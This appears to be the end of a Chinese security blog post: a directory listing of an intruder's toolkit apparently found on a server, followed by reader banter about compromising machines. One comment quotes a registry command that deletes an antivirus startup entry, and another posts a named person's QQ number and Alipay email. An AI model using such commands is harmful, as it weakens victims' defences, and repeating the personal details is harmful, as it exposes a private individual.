|   |   |   |   |       |   orion.css
|   |   |   |   |       |   orion.js
|   |   |   |   |       |   safeMode.js
|   |   |   |   |       |   sanitize.js
|   |   |   |   |       |   sanitizeDialog.css
|   |   |   |   |       |   sanitizeDialog.js
|   |   |   |   |       |   scratchpad.js
|   |   |   |   |       |   setDesktopBackground.js
|   |   |   |   |       |   syncAddDevice.js
|   |   |   |   |       |   syncGenericChange.js
|   |   |   |   |       |   syncNotification.xml
|   |   |   |   |       |   syncProgress.js
|   |   |   |   |       |   syncQuota.js
|   |   |   |   |       |   syncSetup.js
|   |   |   |   |       |   syncUtils.js
|   |   |   |   |       |   tabbrowser.css
|   |   |   |   |       |   tabbrowser.xml
|   |   |   |   |       |   tabview-content.js
|   |   |   |   |       |   tabview.css
|   |   |   |   |       |   tabview.html
|   |   |   |   |       |   tabview.js
|   |   |   |   |       |   urlbarBindings.xml
|   |   |   |   |       |   utilityOverlay.js
|   |   |   |   |       |   web-panels.js
|   |   |   |   |       |
|   |   |   |   |       +---bookmarks
|   |   |   |   |       |       bookmarksPanel.js
|   |   |   |   |       |       sidebarUtils.js
|   |   |   |   |       |
|   |   |   |   |       +---certerror
|   |   |   |   |       |       aboutCertError.css
|   |   |   |   |       |
|   |   |   |   |       +---devtools
|   |   |   |   |       |       styleinspector.css
|   |   |   |   |       |
|   |   |   |   |       +---feeds
|   |   |   |   |       |       subscribe.css
|   |   |   |   |       |       subscribe.js
|   |   |   |   |       |       subscribe.xml
|   |   |   |   |       |
|   |   |   |   |       +---migration
|   |   |   |   |       |       migration.js
|   |   |   |   |       |
|   |   |   |   |       +---pageinfo
|   |   |   |   |       |       feeds.js
|   |   |   |   |       |       feeds.xml
|   |   |   |   |       |       pageInfo.css
|   |   |   |   |       |       pageInfo.js
|   |   |   |   |       |       pageInfo.xml
|   |   |   |   |       |       permissions.js
|   |   |   |   |       |       security.js
|   |   |   |   |       |
|   |   |   |   |       +---places
|   |   |   |   |       |       bookmarkProperties.js
|   |   |   |   |       |       browserPlacesViews.js
|   |   |   |   |       |       controller.js
|   |   |   |   |       |       editBookmarkOverlay.js
|   |   |   |   |       |       history-panel.js
|   |   |   |   |       |       menu.xml
|   |   |   |   |       |       moveBookmarks.js
|   |   |   |   |       |       organizer.css
|   |   |   |   |       |       places.css
|   |   |   |   |       |       places.js
|   |   |   |   |       |       tree.xml
|   |   |   |   |       |       treeView.js
|   |   |   |   |       |
|   |   |   |   |       +---preferences
|   |   |   |   |       |       aboutPermissions.css
|   |   |   |   |       |       aboutPermissions.js
|   |   |   |   |       |       aboutPermissions.xml
|   |   |   |   |       |       advanced.js
|   |   |   |   |       |       applicationManager.js
|   |   |   |   |       |       applications.js
|   |   |   |   |       |       connection.js
|   |   |   |   |       |       content.js
|   |   |   |   |       |       cookies.js
|   |   |   |   |       |       fonts.js
|   |   |   |   |       |       handlers.css
|   |   |   |   |       |       handlers.xml
|   |   |   |   |       |       languages.js
|   |   |   |   |       |       main.js
|   |   |   |   |       |       permissions.js
|   |   |   |   |       |       permissionsutils.js
|   |   |   |   |       |       privacy.js
|   |   |   |   |       |       security.js
|   |   |   |   |       |       selectBookmark.js
|   |   |   |   |       |       sync.js
|   |   |   |   |       |       tabs.js
|   |   |   |   |       |
|   |   |   |   |       +---safebrowsing
|   |   |   |   |       |       sb-loader.js
|   |   |   |   |       |
|   |   |   |   |       \---search
|   |   |   |   |               engineManager.js
|   |   |   |   |               search.xml
|   |   |   |   |               searchbarBindings.css
|   |   |   |   |
|   |   |   |   \---skin
|   |   |   |       \---classic
|   |   |   |           +---aero
|   |   |   |           |   \---browser
|   |   |   |           |       |   aboutCertError.css
|   |   |   |           |       |   aboutPrivateBrowsing.css
|   |   |   |           |       |   aboutSessionRestore.css
|   |   |   |           |       |   aboutSyncTabs.css
|   |   |   |           |       |   browser.css
|   |   |   |           |       |   engineManager.css
|   |   |   |           |       |   fullscreen-video.css
|   |   |   |           |       |   inspector.css
|   |   |   |           |       |   pageInfo.css
|   |   |   |           |       |   sanitizeDialog.css
|   |   |   |           |       |   searchbar.css
|   |   |   |           |       |   setDesktopBackground.css
|   |   |   |           |       |   syncCommon.css
|   |   |   |           |       |   syncProgress.css
|   |   |   |           |       |   syncQuota.css
|   |   |   |           |       |   syncSetup.css
|   |   |   |           |       |
|   |   |   |           |       +---devtools
|   |   |   |           |       |       csshtmltree.css
|   |   |   |           |       |       gcli.css
|   |   |   |           |       |
|   |   |   |           |       +---feeds
|   |   |   |           |       |       subscribe-ui.css
|   |   |   |           |       |       subscribe.css
|   |   |   |           |       |
|   |   |   |           |       +---places
|   |   |   |           |       |       editBookmarkOverlay.css
|   |   |   |           |       |       organizer.css
|   |   |   |           |       |       places.css
|   |   |   |           |       |
|   |   |   |           |       +---preferences
|   |   |   |           |       |       aboutPermissions.css
|   |   |   |           |       |       applications.css
|   |   |   |           |       |       preferences.css
|   |   |   |           |       |
|   |   |   |           |       \---tabview
|   |   |   |           |               tabview.css
|   |   |   |           |
|   |   |   |           +---browser
|   |   |   |           |   |   aboutCertError.css
|   |   |   |           |   |   aboutPrivateBrowsing.css
|   |   |   |           |   |   aboutSessionRestore.css
|   |   |   |           |   |   aboutSyncTabs.css
|   |   |   |           |   |   browser.css
|   |   |   |           |   |   engineManager.css
|   |   |   |           |   |   fullscreen-video.css
|   |   |   |           |   |   inspector.css
|   |   |   |           |   |   pageInfo.css
|   |   |   |           |   |   sanitizeDialog.css
|   |   |   |           |   |   searchbar.css
|   |   |   |           |   |   setDesktopBackground.css
|   |   |   |           |   |   syncCommon.css
|   |   |   |           |   |   syncProgress.css
|   |   |   |           |   |   syncQuota.css
|   |   |   |           |   |   syncSetup.css
|   |   |   |           |   |
|   |   |   |           |   +---devtools
|   |   |   |           |   |       csshtmltree.css
|   |   |   |           |   |       gcli.css
|   |   |   |           |   |
|   |   |   |           |   +---feeds
|   |   |   |           |   |       subscribe-ui.css
|   |   |   |           |   |       subscribe.css
|   |   |   |           |   |
|   |   |   |           |   +---places
|   |   |   |           |   |       editBookmarkOverlay.css
|   |   |   |           |   |       organizer.css
|   |   |   |           |   |       places.css
|   |   |   |           |   |
|   |   |   |           |   +---preferences
|   |   |   |           |   |       aboutPermissions.css
|   |   |   |           |   |       applications.css
|   |   |   |           |   |       preferences.css
|   |   |   |           |   |
|   |   |   |           |   \---tabview
|   |   |   |           |           tabview.css
|   |   |   |           |
|   |   |   |           \---communicator
|   |   |   |                   communicator.css
|   |   |   |
|   |   |   +---en-US
|   |   |   |   \---locale
|   |   |   |       \---en-US
|   |   |   |           \---global
|   |   |   |                   intl.css
|   |   |   |
|   |   |   +---pippki
|   |   |   |   \---content
|   |   |   |       \---pippki
|   |   |   |               certerror.js
|   |   |   |               certManager.js
|   |   |   |               certpicker.js
|   |   |   |               choosetoken.js
|   |   |   |               clientauthask.js
|   |   |   |               createCertInfo.js
|   |   |   |               crlImportDialog.js
|   |   |   |               crlManager.js
|   |   |   |               deletecert.js
|   |   |   |               device_manager.js
|   |   |   |               downloadcert.js
|   |   |   |               editcerts.js
|   |   |   |               escrowWarn.js
|   |   |   |               exceptionDialog.js
|   |   |   |               formsigning.js
|   |   |   |               password.js
|   |   |   |               pippki.js
|   |   |   |               pref-crlupdate.js
|   |   |   |               protectedAuth.js
|   |   |   |               resetpassword.js
|   |   |   |               serverCrlNextupdate.js
|   |   |   |               viewCertDetails.js
|   |   |   |
|   |   |   \---toolkit
|   |   |       +---content
|   |   |       |   +---cookie
|   |   |       |   |       cookieAcceptDialog.js
|   |   |       |   |
|   |   |       |   +---global
|   |   |       |   |   |   aboutMemory.css
|   |   |       |   |   |   aboutMemory.js
|   |   |       |   |   |   aboutSupport.js
|   |   |       |   |   |   appPicker.js
|   |   |       |   |   |   buildconfig.html
|   |   |       |   |   |   charsetOverlay.js
|   |   |       |   |   |   commonDialog.css
|   |   |       |   |   |   commonDialog.js
|   |   |       |   |   |   config.js
|   |   |       |   |   |   console.css
|   |   |       |   |   |   console.js
|   |   |       |   |   |   consoleBindings.xml
|   |   |       |   |   |   contentAreaUtils.js
|   |   |       |   |   |   customizeCharset.js
|   |   |       |   |   |   customizeToolbar.css
|   |   |       |   |   |   customizeToolbar.js
|   |   |       |   |   |   dialogOverlay.js
|   |   |       |   |   |   directionDetector.html
|   |   |       |   |   |   editMenuOverlay.js
|   |   |       |   |   |   filepicker.js
|   |   |       |   |   |   finddialog.js
|   |   |       |   |   |   findUtils.js
|   |   |       |   |   |   globalOverlay.js
|   |   |       |   |   |   inlineSpellCheckUI.js
|   |   |       |   |   |   license.html
|   |   |       |   |   |   menulist.css
|   |   |       |   |   |   nsClipboard.js
|   |   |       |   |   |   nsDragAndDrop.js
|   |   |       |   |   |   nsUserSettings.js
|   |   |       |   |   |   platformHTMLBindings.xml
|   |   |       |   |   |   plugins.css
|   |   |       |   |   |   plugins.html
|   |   |       |   |   |   remote-test-ipc.js
|   |   |       |   |   |   selectDialog.js
|   |   |       |   |   |   strres.js
|   |   |       |   |   |   tabprompts.css
|   |   |       |   |   |   tabprompts.xml
|   |   |       |   |   |   test-ipcbrowser-chrome.js
|   |   |       |   |   |   test-ipcbrowser-content.js
|   |   |       |   |   |   textbox.css
|   |   |       |   |   |   viewPartialSource.js
|   |   |       |   |   |   viewSource.css
|   |   |       |   |   |   viewSource.js
|   |   |       |   |   |   viewSourceUtils.js
|   |   |       |   |   |   viewZoomOverlay.js
|   |   |       |   |   |   XPCNativeWrapper.js
|   |   |       |   |   |   xul.css
|   |   |       |   |   |
|   |   |       |   |   +---alerts
|   |   |       |   |   |       alert.js
|   |   |       |   |   |
|   |   |       |   |   +---bindings
|   |   |       |   |   |       autocomplete.xml
|   |   |       |   |   |       browser.xml
|   |   |       |   |   |       button.xml
|   |   |       |   |   |       checkbox.xml
|   |   |       |   |   |       colorpicker.xml
|   |   |       |   |   |       datetimepicker.xml
|   |   |       |   |   |       dialog.xml
|   |   |       |   |   |       editor.xml
|   |   |       |   |   |       expander.xml
|   |   |       |   |   |       filefield.xml
|   |   |       |   |   |       findbar.xml
|   |   |       |   |   |       general.xml
|   |   |       |   |   |       groupbox.xml
|   |   |       |   |   |       listbox.xml
|   |   |       |   |   |       menu.xml
|   |   |       |   |   |       menulist.xml
|   |   |       |   |   |       notification.xml
|   |   |       |   |   |       numberbox.xml
|   |   |       |   |   |       popup.xml
|   |   |       |   |   |       preferences.xml
|   |   |       |   |   |       progressmeter.xml
|   |   |       |   |   |       radio.xml
|   |   |       |   |   |       resizer.xml
|   |   |       |   |   |       richlistbox.xml
|   |   |       |   |   |       scale.xml
|   |   |       |   |   |       scrollbar.xml
|   |   |       |   |   |       scrollbox.xml
|   |   |       |   |   |       spinbuttons.xml
|   |   |       |   |   |       splitter.xml
|   |   |       |   |   |       stringbundle.xml
|   |   |       |   |   |       tabbox.xml
|   |   |       |   |   |       text.xml
|   |   |       |   |   |       textbox.xml
|   |   |       |   |   |       toolbar.xml
|   |   |       |   |   |       toolbarbutton.xml
|   |   |       |   |   |       tree.xml
|   |   |       |   |   |       videocontrols.css
|   |   |       |   |   |       videocontrols.xml
|   |   |       |   |   |       wizard.xml
|   |   |       |   |   |
|   |   |       |   |   +---cpow
|   |   |       |   |   |       child.html
|   |   |       |   |   |
|   |   |       |   |   +---svg
|   |   |       |   |   |       svgBindings.xml
|   |   |       |   |   |
|   |   |       |   |   \---xml
|   |   |       |   |           XMLMonoPrint.css
|   |   |       |   |           XMLPrettyPrint.css
|   |   |       |   |           XMLPrettyPrint.xml
|   |   |       |   |           XMLPrettyPrint.xsl
|   |   |       |   |
|   |   |       |   +---mozapps
|   |   |       |   |   +---downloads
|   |   |       |   |   |       download.xml
|   |   |       |   |   |       DownloadProgressListener.js
|   |   |       |   |   |       downloads.css
|   |   |       |   |   |       downloads.js
|   |   |       |   |   |       helperApps.js
|   |   |       |   |   |
|   |   |       |   |   +---extensions
|   |   |       |   |   |       about.js
|   |   |       |   |   |       blocklist.css
|   |   |       |   |   |       blocklist.js
|   |   |       |   |   |       blocklist.xml
|   |   |       |   |   |       eula.js
|   |   |       |   |   |       extensions-content.js
|   |   |       |   |   |       extensions.css
|   |   |       |   |   |       extensions.js
|   |   |       |   |   |       extensions.xml
|   |   |       |   |   |       list.js
|   |   |       |   |   |       newaddon.js
|   |   |       |   |   |       selectAddons.css
|   |   |       |   |   |       selectAddons.js
|   |   |       |   |   |       selectAddons.xml
|   |   |       |   |   |       setting.xml
|   |   |       |   |   |       update.js
|   |   |       |   |   |       updateinfo.xsl
|   |   |       |   |   |
|   |   |       |   |   +---handling
|   |   |       |   |   |       dialog.js
|   |   |       |   |   |       handler.css
|   |   |       |   |   |       handler.xml
|   |   |       |   |   |
|   |   |       |   |   +---plugins
|   |   |       |   |   |       pluginFinderBinding.css
|   |   |       |   |   |       pluginInstallerDatasource.js
|   |   |       |   |   |       pluginInstallerService.js
|   |   |       |   |   |       pluginInstallerWizard.css
|   |   |       |   |   |       pluginInstallerWizard.js
|   |   |       |   |   |       pluginProblem.xml
|   |   |       |   |   |       pluginProblemBinding.css
|   |   |       |   |   |       pluginProblemContent.css
|   |   |       |   |   |
|   |   |       |   |   +---preferences
|   |   |       |   |   |       changemp.js
|   |   |       |   |   |       fontbuilder.js
|   |   |       |   |   |       ocsp.js
|   |   |       |   |   |       removemp.js
|   |   |       |   |   |
|   |   |       |   |   +---profile
|   |   |       |   |   |       createProfileWizard.js
|   |   |       |   |   |       profileSelection.js
|   |   |       |   |   |
|   |   |       |   |   +---update
|   |   |       |   |   |       history.js
|   |   |       |   |   |       updates.css
|   |   |       |   |   |       updates.js
|   |   |       |   |   |       updates.xml
|   |   |       |   |   |
|   |   |       |   |   \---xpinstall
|   |   |       |   |           xpinstallConfirm.css
|   |   |       |   |           xpinstallConfirm.js
|   |   |       |   |           xpinstallItem.xml
|   |   |       |   |
|   |   |       |   +---passwordmgr
|   |   |       |   |       passwordManager.js
|   |   |       |   |       passwordManagerCommon.js
|   |   |       |   |       passwordManagerExceptions.js
|   |   |       |   |
|   |   |       |   +---satchel
|   |   |       |   |       formSubmitListener.js
|   |   |       |   |
|   |   |       |   \---xbl-marquee
|   |   |       |           xbl-marquee.css
|   |   |       |           xbl-marquee.xml
|   |   |       |
|   |   |       +---res
|   |   |       |       forms.css
|   |   |       |       hiddenWindow.html
|   |   |       |       html.css
|   |   |       |       mathml.css
|   |   |       |       quirk.css
|   |   |       |       ua.css
|   |   |       |       viewsource.css
|   |   |       |
|   |   |       \---skin
|   |   |           \---classic
|   |   |               +---aero
|   |   |               |   +---global
|   |   |               |   |   |   about.css
|   |   |               |   |   |   aboutCache.css
|   |   |               |   |   |   aboutCacheEntry.css
|   |   |               |   |   |   aboutMemory.css
|   |   |               |   |   |   aboutSupport.css
|   |   |               |   |   |   appPicker.css
|   |   |               |   |   |   arrow.css
|   |   |               |   |   |   autocomplete.css
|   |   |               |   |   |   button.css
|   |   |               |   |   |   checkbox.css
|   |   |               |   |   |   colorpicker.css
|   |   |               |   |   |   commonDialog.css
|   |   |               |   |   |   config.css
|   |   |               |   |   |   customizeToolbar.css
|   |   |               |   |   |   datetimepicker.css
|   |   |               |   |   |   dialog.css
|   |   |               |   |   |   dropmarker.css
|   |   |               |   |   |   expander.css
|   |   |               |   |   |   filefield.css
|   |   |               |   |   |   filepicker.css
|   |   |               |   |   |   findBar.css
|   |   |               |   |   |   global.css
|   |   |               |   |   |   globalBindings.xml
|   |   |               |   |   |   groupbox.css
|   |   |               |   |   |   inContentUI.css
|   |   |               |   |   |   linkTree.css
|   |   |               |   |   |   listbox.css
|   |   |               |   |   |   menu.css
|   |   |               |   |   |   menulist.css
|   |   |               |   |   |   netError.css
|   |   |               |   |   |   notification.css
|   |   |               |   |   |   numberbox.css
|   |   |               |   |   |   passwordmgr.css
|   |   |               |   |   |   popup.css
|   |   |               |   |   |   preferences.css
|   |   |               |   |   |   printPageSetup.css
|   |   |               |   |   |   printPreview.css
|   |   |               |   |   |   progressmeter.css
|   |   |               |   |   |   radio.css
|   |   |               |   |   |   resizer.css
|   |   |               |   |   |   richlistbox.css
|   |   |               |   |   |   scale.css
|   |   |               |   |   |   scrollbars.css
|   |   |               |   |   |   scrollbox.css
|   |   |               |   |   |   spinbuttons.css
|   |   |               |   |   |   splitter.css
|   |   |               |   |   |   tabbox.css
|   |   |               |   |   |   tabprompts.css
|   |   |               |   |   |   textbox.css
|   |   |               |   |   |   toolbar.css
|   |   |               |   |   |   toolbarbutton.css
|   |   |               |   |   |   tree.css
|   |   |               |   |   |   webConsole.css
|   |   |               |   |   |   webConsole_networkPanel.css
|   |   |               |   |   |   wizard.css
|   |   |               |   |   |
|   |   |               |   |   +---alerts
|   |   |               |   |   |       alert.css
|   |   |               |   |   |
|   |   |               |   |   +---console
|   |   |               |   |   |       console.css
|   |   |               |   |   |
|   |   |               |   |   +---dirListing
|   |   |               |   |   |       dirListing.css
|   |   |               |   |   |
|   |   |               |   |   \---media
|   |   |               |   |           videocontrols.css
|   |   |               |   |
|   |   |               |   \---mozapps
|   |   |               |       +---downloads
|   |   |               |       |       downloads.css
|   |   |               |       |       unknownContentType.css
|   |   |               |       |
|   |   |               |       +---extensions
|   |   |               |       |       about.css
|   |   |               |       |       blocklist.css
|   |   |               |       |       eula.css
|   |   |               |       |       extensions.css
|   |   |               |       |       newaddon.css
|   |   |               |       |       selectAddons.css
|   |   |               |       |       update.css
|   |   |               |       |
|   |   |               |       +---handling
|   |   |               |       |       handling.css
|   |   |               |       |
|   |   |               |       +---plugins
|   |   |               |       |       pluginInstallerWizard.css
|   |   |               |       |       pluginProblem.css
|   |   |               |       |
|   |   |               |       +---profile
|   |   |               |       |       profileSelection.css
|   |   |               |       |
|   |   |               |       +---update
|   |   |               |       |       updates.css
|   |   |               |       |
|   |   |               |       +---viewsource
|   |   |               |       |       viewsource.css
|   |   |               |       |
|   |   |               |       \---xpinstall
|   |   |               |               xpinstallConfirm.css
|   |   |               |
|   |   |               +---global
|   |   |               |   |   about.css
|   |   |               |   |   aboutCache.css
|   |   |               |   |   aboutCacheEntry.css
|   |   |               |   |   aboutMemory.css
|   |   |               |   |   aboutSupport.css
|   |   |               |   |   appPicker.css
|   |   |               |   |   arrow.css
|   |   |               |   |   autocomplete.css
|   |   |               |   |   button.css
|   |   |               |   |   checkbox.css
|   |   |               |   |   colorpicker.css
|   |   |               |   |   commonDialog.css
|   |   |               |   |   config.css
|   |   |               |   |   customizeToolbar.css
|   |   |               |   |   datetimepicker.css
|   |   |               |   |   dialog.css
|   |   |               |   |   dropmarker.css
|   |   |               |   |   expander.css
|   |   |               |   |   filefield.css
|   |   |               |   |   filepicker.css
|   |   |               |   |   findBar.css
|   |   |               |   |   global.css
|   |   |               |   |   globalBindings.xml
|   |   |               |   |   groupbox.css
|   |   |               |   |   inContentUI.css
|   |   |               |   |   linkTree.css
|   |   |               |   |   listbox.css
|   |   |               |   |   menu.css
|   |   |               |   |   menulist.css
|   |   |               |   |   netError.css
|   |   |               |   |   notification.css
|   |   |               |   |   numberbox.css
|   |   |               |   |   passwordmgr.css
|   |   |               |   |   popup.css
|   |   |               |   |   preferences.css
|   |   |               |   |   printPageSetup.css
|   |   |               |   |   printPreview.css
|   |   |               |   |   progressmeter.css
|   |   |               |   |   radio.css
|   |   |               |   |   resizer.css
|   |   |               |   |   richlistbox.css
|   |   |               |   |   scale.css
|   |   |               |   |   scrollbars.css
|   |   |               |   |   scrollbox.css
|   |   |               |   |   spinbuttons.css
|   |   |               |   |   splitter.css
|   |   |               |   |   tabbox.css
|   |   |               |   |   tabprompts.css
|   |   |               |   |   textbox.css
|   |   |               |   |   toolbar.css
|   |   |               |   |   toolbarbutton.css
|   |   |               |   |   tree.css
|   |   |               |   |   webConsole.css
|   |   |               |   |   webConsole_networkPanel.css
|   |   |               |   |   wizard.css
|   |   |               |   |
|   |   |               |   +---alerts
|   |   |               |   |       alert.css
|   |   |               |   |
|   |   |               |   +---console
|   |   |               |   |       console.css
|   |   |               |   |
|   |   |               |   +---dirListing
|   |   |               |   |       dirListing.css
|   |   |               |   |
|   |   |               |   \---media
|   |   |               |           videocontrols.css
|   |   |               |
|   |   |               \---mozapps
|   |   |                   +---downloads
|   |   |                   |       downloads.css
|   |   |                   |       unknownContentType.css
|   |   |                   |
|   |   |                   +---extensions
|   |   |                   |       about.css
|   |   |                   |       blocklist.css
|   |   |                   |       eula.css
|   |   |                   |       extensions.css
|   |   |                   |       newaddon.css
|   |   |                   |       selectAddons.css
|   |   |                   |       update.css
|   |   |                   |
|   |   |                   +---handling
|   |   |                   |       handling.css
|   |   |                   |
|   |   |                   +---plugins
|   |   |                   |       pluginInstallerWizard.css
|   |   |                   |       pluginProblem.css
|   |   |                   |
|   |   |                   +---profile
|   |   |                   |       profileSelection.css
|   |   |                   |
|   |   |                   +---update
|   |   |                   |       updates.css
|   |   |                   |
|   |   |                   +---viewsource
|   |   |                   |       viewsource.css
|   |   |                   |
|   |   |                   \---xpinstall
|   |   |                           xpinstallConfirm.css
|   |   |
|   |   +---components
|   |   |       addonManager.js
|   |   |       amContentHandler.js
|   |   |       amWebInstallListener.js
|   |   |       browsercomps.dll
|   |   |       ConsoleAPI.js
|   |   |       contentAreaDropListener.js
|   |   |       contentSecurityPolicy.js
|   |   |       crypto-SDR.js
|   |   |       FeedConverter.js
|   |   |       FeedProcessor.js
|   |   |       FeedWriter.js
|   |   |       fuelApplication.js
|   |   |       GPSDGeolocationProvider.js
|   |   |       jsconsole-clhandler.js
|   |   |       NetworkGeolocationProvider.js
|   |   |       nsBadCertHandler.js
|   |   |       nsBlocklistService.js
|   |   |       nsBrowserContentHandler.js
|   |   |       nsBrowserGlue.js
|   |   |       nsContentDispatchChooser.js
|   |   |       nsContentPrefService.js
|   |   |       nsDefaultCLH.js
|   |   |       nsDownloadManagerUI.js
|   |   |       nsFormAutoComplete.js
|   |   |       nsFormHistory.js
|   |   |       nsHandlerService.js
|   |   |       nsHelperAppDlg.js
|   |   |       nsINIProcessor.js
|   |   |       nsInputListAutoComplete.js
|   |   |       nsLivemarkService.js
|   |   |       nsLoginInfo.js
|   |   |       nsLoginManager.js
|   |   |       nsLoginManagerPrompter.js
|   |   |       nsPlacesAutoComplete.js
|   |   |       nsPlacesExpiration.js
|   |   |       nsPrivateBrowsingService.js
|   |   |       nsPrompter.js
|   |   |       nsProxyAutoConfig.js
|   |   |       nsSafebrowsingApplication.js
|   |   |       nsSearchService.js
|   |   |       nsSearchSuggestions.js
|   |   |       nsSessionStartup.js
|   |   |       nsSessionStore.js
|   |   |       nsSetDefaultBrowser.js
|   |   |       nsSidebar.js
|   |   |       nsTaggingService.js
|   |   |       nsUpdateTimerManager.js
|   |   |       nsUrlClassifierHashCompleter.js
|   |   |       nsUrlClassifierLib.js
|   |   |       nsUrlClassifierListManager.js
|   |   |       nsURLFormatter.js
|   |   |       nsWebHandlerApp.js
|   |   |       PlacesCategoriesStarter.js
|   |   |       PlacesProtocolHandler.js
|   |   |       storage-Legacy.js
|   |   |       storage-mozStorage.js
|   |   |       TelemetryPing.js
|   |   |       txEXSLTRegExFunctions.js
|   |   |       Weave.js
|   |   |       WebContentConverter.js
|   |   |
|   |   +---defaults
|   |   |   |   black.txt
|   |   |   |   white.txt
|   |   |   |
|   |   |   +---autoconfig
|   |   |   |       platform.js
|   |   |   |       prefcalls.js
|   |   |   |
|   |   |   +---pref
|   |   |   |       channel-prefs.js
|   |   |   |       firefox-branding.js
|   |   |   |       firefox-l10n.js
|   |   |   |       firefox.js
|   |   |   |       services-sync.js
|   |   |   |
|   |   |   \---profile
|   |   |       |   bookmarks.html
|   |   |       |   prefs.js
|   |   |       |
|   |   |       \---chrome
|   |   |               userChrome-example.css
|   |   |               userContent-example.css
|   |   |
|   |   +---extensions
|   |   |   \---root@gotop.org
|   |   |       \---content
|   |   |               core.js
|   |   |               emulate.js
|   |   |               function.js
|   |   |               gecko.js
|   |   |               sqlite.js
|   |   |
|   |   +---modules
|   |   |   |   debug.js
|   |   |   |   distribution.js
|   |   |   |   Microformats.js
|   |   |   |   SpellCheckDictionaryBootstrap.js
|   |   |   |   utils.js
|   |   |   |
|   |   |   +---services-crypto
|   |   |   |       WeaveCrypto.js
|   |   |   |
|   |   |   \---services-sync
|   |   |       |   async.js
|   |   |       |   constants.js
|   |   |       |   engines.js
|   |   |       |   identity.js
|   |   |       |   jpakeclient.js
|   |   |       |   log4moz.js
|   |   |       |   main.js
|   |   |       |   notifications.js
|   |   |       |   policies.js
|   |   |       |   record.js
|   |   |       |   resource.js
|   |   |       |   rest.js
|   |   |       |   service.js
|   |   |       |   status.js
|   |   |       |   util.js
|   |   |       |
|   |   |       +---engines
|   |   |       |       bookmarks.js
|   |   |       |       clients.js
|   |   |       |       forms.js
|   |   |       |       history.js
|   |   |       |       passwords.js
|   |   |       |       prefs.js
|   |   |       |       tabs.js
|   |   |       |
|   |   |       \---ext
|   |   |               Observers.js
|   |   |               Preferences.js
|   |   |               StringBundle.js
|   |   |
|   |   \---res
|   |           contenteditable.css
|   |           designmode.css
|   |           EditorOverride.css
|   |           svg.css
|   |
|   \---etc
|           config.ini
|           lang.ini
|
+---InstallTemp
|       Autodesk.rar
|       gotop.rar
|       qibin.rar
|       update.rar
|       weke.rar
|
+---logs
|       config.ini
|       GT.ini
|       GTexe.ini
|       htc.ini
|       ma.ini
|       qb.ini
|       rar.ini
|       sdy.ini
|       sdyexe.ini
|       update.ini
|       weke.ini
|
+---Network
|       Network.bat
|
+---wins
|       cacls.exe
|       cmd.exe
|       cscript.exe
|       ftp.exe
|       net.exe
|       ungini.exe
|       wscript.exe
|
\---x
        cct.inf
        Hpqdirv.exe
        locatar.exe
        prntcp.vbs
        reten.inf

留言评论(旧系统):

喵哥 @ 2013-03-14 17:47:55

核总, 经常来你站看从来不留言的 看到这标题 这风骚的内容 我决定要拿下沙发 然后爆楼下菊花 嘿嘿 还有 验证码也很风骚

本站回复:

你个骚货……

佚名 @ 2013-03-14 17:53:10

这个看上去是相当专业的抓鸡帝啊

本站回复:

是的,略专业。

nicky @ 2013-03-14 19:51:49

。。。以前也是只看不回,这次先留名

本站回复:

good...

核总小弟 @ 2013-03-14 20:16:06

抓鸡帝 +1 貌似我在3年前也是抓鸡帝出身!!!挖哈哈 括弧笑 省略号笑()()()...........

本站回复:

括弧笑。

佚名 @ 2013-03-14 21:41:57

总之一句话 遇到 核总的朋友就注定被爆

本站回复:

菊花残,满地伤。

雨路 @ 2013-03-14 21:58:13

无耻,极度无耻! 哈哈

本站回复:

╮(╯_╰)╭

佚名 @ 2013-03-14 22:27:51

十分的有才,太骚了。。

本站回复:

风骚淫荡二。

佚名 @ 2013-03-14 22:32:07

赔我肉鸡

本站回复:

赔我服务器!

Getshell @ 2013-03-15 02:43:07

核总就是NB...膜拜

本站回复:

O(∩_∩)O~

佚名 @ 2013-03-15 08:51:36

赔我肉鸡

本站回复:

赔我服务器

dashige @ 2013-03-15 09:21:30

主要想看爆菊过程,而不是一地残菊。。。

本站回复:

过程太长了,当时一心在清理后门,木有记录。。。

佚名 @ 2013-03-15 09:21:38

苦比了吧傻眼了吧,这是我的蜜罐,还天真的以为是把我搞了,笑而不语,轻抚核总菊花。

本站回复:

╮(╯_╰)╭

佚名 @ 2013-03-15 09:23:55

1+1 等于几?等于二!!!你个苦比非主流黑阔

本站回复:

等于三!

佚名 @ 2013-03-15 09:41:53

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v "360safe" /f 这个可以直接删除360启动项?貌似不行吧

本站回复:

是的,我也是这么想的,权限严重不足啊,只能说这货二。

pic @ 2013-03-15 12:25:54

<-- I love this pic

本站回复:

me too.

佚名 @ 2013-03-15 13:14:34

昨天来过啊。 发现标题来个劲爆的。 为什么核总发其他文章没什么人回复 发这类怎么给力的文章。集合吊众们来这里谈欢! (可以考虑发多点这类啦。!)

本站回复:

这类内容不是很多,很少有。

佚名 @ 2013-03-15 13:35:07

核总这次是真怒了啊 。。。

本站回复:

晕,你想哪去了,只是碰巧见到,顺便分析了下……

helen @ 2013-03-15 16:59:44

吓尿了!大侠饶命!!!

本站回复:

-_-|||

寸芒水王 @ 2013-03-15 18:03:59

哥哥,话说能教我抓鸡吗??

本站回复:

抓你妹!

helen大徒弟 @ 2013-03-15 18:20:42

求教抓鸡!

本站回复:

http://www.baidu.com/s?wd=%E6%8A%93%E9%B8%A1+%E7%9B%97%E5%8F%B7+%E5%88%B7%E9%92%BB+%E6%8B%9C%E5%B8%88

国际安全组织 @ 2013-03-15 18:43:23

开门!查水表

本站回复:

已将大炮对准大门,请进。

佚名 @ 2013-03-15 19:32:04

我能说碉堡了吗?

本站回复:

╮(╯_╰)╭

黑阔 @ 2013-03-15 21:50:47

黑阔? 为啥踢我出群?。。 靠!!!

本站回复:

额,定期清理很久不发言的,和注册资料疑似QQ广告的,重加……

佚名 @ 2013-03-16 08:50:25

大神,你还有哪些朋友的,下次搞站时好路过啊..

本站回复:

搞了就知道。。。。没那么巧遇上的……

小鱼 @ 2013-03-16 09:54:11

扫1433弱口令一天能搞到那么多 ooxx

本站回复:

lol...

佚名 @ 2013-03-16 10:55:04

射到此人QQ:297860780 李耀辉 支付宝:zinet@126.com 希望核总在射点东西出来

本站回复:

还在搞啊。。。

日月 @ 2013-03-16 20:48:34

核总,爆菊感觉如何

本站回复:

╮(╯_╰)╭

佚名 @ 2013-03-16 22:45:00

核总被暴菊了....!

本站回复:

懒得回……

佚名 @ 2013-03-17 01:09:11

支付宝会是真的吗? QQ号会是真的吗? 手机号会是自己身份证办的吗 是脑残就会是真的

本站回复:

